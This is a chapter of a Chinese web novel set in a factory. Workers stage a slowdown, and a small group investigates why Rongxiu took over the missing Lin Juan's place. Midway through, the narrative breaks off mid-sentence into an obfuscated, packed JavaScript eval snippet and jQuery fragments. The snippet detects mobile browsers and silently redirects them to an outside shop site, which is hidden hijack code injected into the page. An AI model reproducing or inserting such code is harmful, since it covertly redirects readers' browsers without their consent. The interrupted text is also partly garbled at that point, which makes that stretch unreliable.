以前流水线上偶尔还能听见几句闲聊,自从荣秀跟□□顶嘴后,车间只剩机械金属硬碰硬的砸撞声。传送带两旁,数十双眼睛直愣愣扎在手里的铁罐上,谁也不搭茬。
同时生产速度也跟着慢了下来。
以前手一伸,抓罐、扣盖、贴标,整套动作快得起飞。现下变成了“咔哒”响一声,手停半秒,才把铁罐往前推半寸。不多码一个罐头,不多贴半张标签。整条装配线就这么卡在厂办刚压下来的合格线边缘,一分不多,一分不少。
几十号人连续半个月顶着月亮干,腰骨早动一下就嘎吱响。况且车间里还戳着李主任侄子这个四处打量的小眼线,话多必失,大家索性咬紧牙关,拿手里的慢工磨大洋。
说到李主任的侄子,这两天面子上着实挂不住。
他见人就解释,说自己是路过废仓库看热闹才挨了蜇,可走廊里过路的人连眼皮都不抬。
隔壁装配线的大姐趁他溜去厕所,斜着眼跟旁边凑拢:“那天几百号人站在泥地上,那毒马蜂越过那么多人,单盯着他一张脸往死里下嘴?”
“谁晓得呢。”旁边的人把罐头往台子上一放,“亏心事干多了,连虫子都看不过眼。”
这话插了翅膀似钻遍了车间。他为了这,跟几个工友扯着嗓子干了几架。他越急着把名声扳回来,手上的活越是发狠地赶,可越急越容易出错,封口压歪了,标签贴颠倒了,刚下线的铁罐被质检员连箱顶了回去,落得个全车间通报返工。
下午,后院养猪场。
逢空拎着半桶刷猪槽的酸臭脏水,踩着湿泥刚走到自来水龙头旁,斜里杀出一道人影,严严实实挡住了下水沟口。
李主任侄子脸上的紫疙瘩还没消退,眼泡子肿得像两个核桃。他双手搭在胸前,两脚一叉,趾高气昂地看着逢空。
“乡巴佬,别以为你这两天揣着明白装糊涂、跟荣秀靠得近,就能捞到啥好处转成正式工!”
他歪着头将逢空从头扫到脚:“看看你这身猪味。活干得再猛有啥用?上头领导脑子进水了,能选你这种人站上台去代表厂子?”
逢空静静地看着他,“让一下。”
□□侄子嘴皮一扯:“你说什么?”
“我要倒脏水。”
“我偏不让,有本事你就倒。”
逢空退后几步,还没听过这种要求。
“哗啦——”
大半桶泛着酸臭味、混着烂菜叶子的脏水画出一道半圆,结结实实甩了他一身。
“啊!!”
黏稠的水顺着他额角往衣领里灌,胸口挂满了发酵的烂食渣。
逢空拎着空桶,不动声色地远离他几分:“现在能让了么?”
□□侄子气得脸色发青,指头哆嗦着想往前抓,可想起他叔的警告,伸到半空的手缩了回去,最后什么也没敢做。
工人们集体拿最低线耗着,厂办的鞭子抽得更急了。
屋顶上的高音喇叭播报得一次比一次频繁,刺耳的声音震得梁上的积灰刷刷往下掉。车间里的巡查组多了一倍,几个戴红袖标的夹着硬皮记录本,阴沉着脸站在过道中央,盯住每个人飞快翻动的手指。
到了晚上,五人小队再次凑到了食堂角落的那张破木桌前。
斜后方的矮凳上,俩女工身子贴在一起,咬着耳朵:
“听说了没?质检科下午又退了三箱。”
“明天铁定又要加码。”
“加就加呗,好歹晚间还发个杂粮馒头……”
“滋——滋——”
喇叭里的电流声炸响,“现在播报今日生产进度——”
两个女工的声音戛然而止。
昏黄的悬顶灯泡下,几个人收拢脖子,围紧了摇晃的方木桌。
闻灼猫着腰钻进来,掀起一阵凉风。
“你手怎么了?”钵满眼尖。
“快别提了。”闻灼举起右手食指,上面扎扎实实缠着一圈粗白布条,“做娃娃被针扎的。紫薇都没我挨得多,咱们啥时候能熬到头啊。”
“快了快了,看这个。”
盆满匆匆从小后厨搭帘出来,右肩膀处粘着一撮干棒子面都顾不上掸。她掏出来一本起毛边的旧登记册:“我把一食堂前几年的老底子翻了个透。以前最后一个落款一直都是林娟。后来林娟消失,这个位置换成了荣秀。”
闻灼眉头揪在一起:“那之前荣秀的名字在哪里?”
“这不对吧,荣秀是罐头厂的,她平时应该去三食堂。”钵满接话。
“也是,我们之前就是在三食堂遇到她的。”闻灼点头。
“猫腻就在这儿。”盆满双手压在硬皮册上,“一食堂的底单一直记到昨天,排在最后一个落款的,清一色全是荣秀的签名。”
逢空抬头:“三食堂呢?三食堂的册子上有没有她?”
“三食堂的账册上午被厂办抽走检查了,还没还回来。”
钵满脸色古怪,“先进记录也是一样。”
来都来了起了兴致:“怎么说?”
她把两张泛黄的硬纸卡推到桌面正中,指甲盖按在两个名字上:“以前这些名字,都是林娟。后来林娟不见了,名单上的名字慢慢换成了荣秀。”
她指尖点了点荣秀那一栏:“但要是顺着荣秀自己的入厂工龄往回扣,她满打满算今年才是第十年。”
“好奇怪,你们这样一说,听起来像是林娟留下的位置,被荣秀接了过去。”闻灼伸头瞄着那卡片:“但厂里的广播都说,荣秀同志连续十年先进。会不会是两个人各占一个名额啊?”
逢空:“服装厂和罐头厂一年才几个指标?她俩之前一人占一个,你信?”
来都来了指尖捏着一颗粗皮花生,稍微一拧,“咔嗒”碎成两半:“咱们这是梅花机械厂。评劳模、选标兵,这指标肯定都得紧着一线车间,比如钳工车间、锻工车间、重工车间那些正儿八经的钢铁骨干吧?”
她把花生仁往嘴里一抛:“可从林娟到荣秀,站到广播里被全厂反复表扬的,为什么全是做洋娃娃、做罐头、后院养猪这些岗位的人?”
她拍掉掌心的碎花生皮:“反而真正造机械的那些车间,像被藏起来了一样,在广播里连个动静都没有。”
逢空:“对,这也是我想说的。梅花机械厂的主业是钢铁机械,可这段时间咱们打听到的,没有一项具体的生产任务,没有半个技术突破,耳朵里塞满的全是表扬、荣誉,一个接一个被绑上高台展示的人。”
桌上的几个人愣了一下,目光齐刷刷地聚向她。
逢空扯了扯嘴角,继续说道:“要是副厂真有本事把主厂的油水和荣誉抢个精光,主厂那些横着走的大车间壮劳力,怎么可能屁都不放一个?”
她的目光顺着桌面那一堆纸页划过去:“副厂动静很大,但除了被立在台上的荣秀,其他人得到什么了?”
闻灼顺着这思路往深里一想,忍不住往前探身:“那为什么一天到晚被批评、被表扬的全是咱们这些缝娃娃的、做罐头的、喂猪的。钳工车间、锻工车间那些正儿八经的一线骨干,喇叭里怎么从没冒出过半个名字?”
“他们是不是在捧杀我们!”闻灼细思鼻孔。
“自信点,只有杀,没有捧。”来都来了回答她的疑问:“我在供销社套过李姐的话。每年的生产标兵、先进,暗地里的名额全被主厂那几个大车间瓜分得一干二净。大把的奖金、厚厚的粮票布票,实打实肥得流油的好处全兜进人家口袋了。”
她嗤笑一声:“副厂呢?广播里夸得天花乱坠,听着挺唬人吧?但真正拿到手的,也就是茶缸、毛巾这些东西。”
“所以……”
闻灼脑缝里的筋转过来了:“副厂负责顶在台上挨夸受罪,主厂躲在后头闷声拿真金白银?”
“上嘴唇碰下嘴唇,表扬又不花一分钱。”盆满把刚剥出来的花生仁塞进桌角老板的手心里,“可奖金和票证要掏真东西。红口白牙夸你两句,是想骗你卖死力气。厂里真正的硬通货,哪能不往能啃硬骨头的大车间倾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802103|207227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
斜?”
闻灼两道眉毛绞在一块:“这不就是欺负老实人吗?”
“谁叫副厂离了主厂连口渣都咽不上。”钵满见状也帮着剥花生,“车间这帮工人不敢撂挑子,出了厂门连口饭碗都找不着。”
“这话说得太绝对了。”来都来了把剥好的花生仁一股脑扔进嘴里,“服装、玩具、罐头,有名的比比皆是。”
逢空认同地点点头:“副厂离了主厂活不了,不是因为这行不行,是梅花机械厂没把这些价值当回事。”
闻灼还是不明白:“可副厂好几条生产线、几百号工人,为什么偏偏把荣秀一个人挂在喇叭嘴上天天念叨?”
“这又不是什么好事,”盆满说:“其他人只是没被选中当那个立在墙头的大牌子。至于为什么是荣秀,根子多半还在林娟身上。”
说到林娟,闻灼想起来自己这里还有线索:“玩具厂那几个干了十来年的老大姐告诉我,林娟和荣秀以前亲得跟一个人似的。名义上是姑嫂,可厂里人都说她俩比亲姐妹还贴心,林娟出事前,两人上班下班天天挽着胳膊同进同出。”
“这事我也问过门卫大爷。”钵满后面特意去找认识荣秀的人打听了一番,“他说,林娟跑了之后,厂里的风言风语可就多了。大家都怀疑是荣秀不忍心看嫂子挨打,偷偷帮林娟逃跑了。”
钵满手里捏着半块窝头,没了胃口:“不过也有人说得挺难听。说荣秀其实早就盯上了林娟的光环。林娟一走,那个位置自然就空出来了。所以她才故意挑拨,让林娟离开。”
“我觉得不像。“钵满说完,自己也有点没底气,“但我跟她接触不多。”
如果真是这样,荣秀就不是单纯的受害者。
“我不同意后一种说法。”逢空摇了摇头,把手里的筷子放回桌上。
“为什么?”闻灼忍不住问。
逢空抛出一个炸弹:“因为昨天中午换班,我把林娟写的旧字条,落在了荣秀的饭盒盖上。”
“啊?!”
盆满探过身子:“空空,你这不是打草惊蛇吗?”
“是不是打草惊蛇,得看蛇的反应。”逢空声音很沉,“如果荣秀心里肯定有鬼。突然看到消失的嫂子写下的纸条,她的第一反应应该是什么?”
来都来了转着手里的花生,接话道:“肯定是销毁证据啊。或者直接去找□□举报,说有人在车间搞破坏,把自己撇干净。”
逢空点点头:“如果她真的想摆脱林娟这件事,第一反应应该是撇清关系,但她没有。”
“她看到纸条以后,第一反应是藏起来。后来□□带着侄子去搜查,逼她交出来。我还是第一次见到她梗着脖子跟车间主任顶嘴,不承认有这张纸条。”
桌上的气氛慢慢沉了下来,大家都在消化逢空话里荣秀的反差感。
“不仅如此,”逢空身体前倾,抛出了最关键的原因,“在和□□拉扯的时候,她的头绳崩断了。”
“头绳断了?”钵满有些惊讶:“她那两条辫子?”
前两天逢空刚把刘老太讲的辫子规矩给她们串过一遍,几个人心领神会。
“对。”逢空放慢了语速,“你们都知道,那两条辫子对她意味着什么,那是她被所有人认可的样子,可当时头发散下来,她没有第一时间整理,只是在护着那个口袋。”
“如果她是为了抢林娟的位置,看到那张纸条,她不会是这种反应。她更不会为了保护它,连自己维持了十几年的样子都不要。”
逢空伸手把搪瓷缸推到一边:“所以,荣秀不像是害林娟的人,至少她不是因为那个位置。”
来都来了又想到了一点:“林娟失踪后,厂里的传言一直没停,如果荣秀只是想证明自己没关系,她早就应该出来解释,但她没有。”
盆满眼珠子慢慢转动,恍然大悟:“所以……你觉得她知道林娟的事?”
来都来了摇头:“这得问空空啊,她是唯一跟荣秀有接触的人。”
逢空:“……还在试。”